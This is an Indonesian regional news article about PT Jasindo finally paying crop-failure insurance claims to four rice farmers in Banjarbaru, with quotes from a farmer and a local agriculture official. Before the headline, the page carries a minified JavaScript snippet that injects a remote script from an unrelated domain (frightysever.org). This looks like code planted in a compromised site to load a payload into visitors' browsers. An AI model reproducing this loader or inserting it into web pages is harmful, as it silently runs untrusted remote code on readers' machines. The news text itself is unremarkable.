(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Akhirnya Klaim Asuransi Petani Gagal Panen di Banjarbaru Dibayar

KANALKALIMANTAN.COM, BANJARBARU – Setelah menunggu 5 bulan lamanya, klaim asuransi para petani gagal panen di Kota Banjarbaru kepada PT Jasindo akhirnya dibayarkan.

Klaim asuransi pada program Asuransi Usaha Tani Padi (AUTP) PT Jasindo langsung masuk ke rekening 4 petani di Kelurahan Palam Kecamatan Cempaka, sebesar Rp 14 juta lebih.

Yansah, petani padi di Kelurahan Palam yang mengajukan klaim asuransi mengatakan, dirinya sudah menerima uang klaim asuransi yang mereka ajukan pada akhir Februari 2023 lalu. Pihak penyedia jas asuransi melakukan transfer pada Kamis 23 Februari 2023.

“Alhamdulillah, klaim asuransi sudah dibayar,” ujarnya, Senin (6/3/2023) siang.

Dibeberkannya, untuk total klaim asuransi seluruhnya sebesar Rp 14.040.000 dengan total lahan 2,34 hektare lahan tani yang gagal panen. Uang klaim asuransi tersebut juga sudah selesai dibagikan kepada petani yang mengajukan klaim ganti rugi.

“Uangnya sudah dibagikan kepada petani dengan catatan ada tanda terima kasih kepada pihak terkait yang membantu,” bebernya.

Kabid Pertanian dan Perkebunan DKP3 Banjarbaru, Ani Purwanti. Foto: ibnu

Dirinya berharap agar kedepan, instansi terkait dapat menjelaskan secara rinci jika terjadi permasalahan seperti itu, agar tidak terjadi kesalahpahaman satu sama lain.

Sementara itu, Kepala Bidang Pertanian dan Perkebunan, Dinas Ketahanan Pangan, Pertanian, dan Perikanan (DKP3) Kota Banjarbaru, Ani Purwanti mengatakan setelah pihaknya mendesak PT. Jasindo dengan berkirim surat, pihak PT Jasindo beberapa hari langsung memberikan balasan dan mencairkan klaim asuransi.

Disebutkan Ani, untuk proses pencairan klaim asuransi ini berproses di kantor pusat PT Jasindo, bukan di Kalsel. Oleh karena itu pihaknya terus saling berkordinasi.

“Dari Jasindo Kalsel, menyatakan prosesnya itu sudah keluar,” katanya.

Diungkapkan Ani, pada 23 Februari 2023 lalu, dari pihak Jasindo mengabari kalau klaim asuransi para petani sudah dicairkan.

“Besoknya langsung kami hubungi para petani untuk mengecek rekeningnya, apakah benar dana tersebut sudah masuk ke rekening masing-masing petani,” ungkapnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie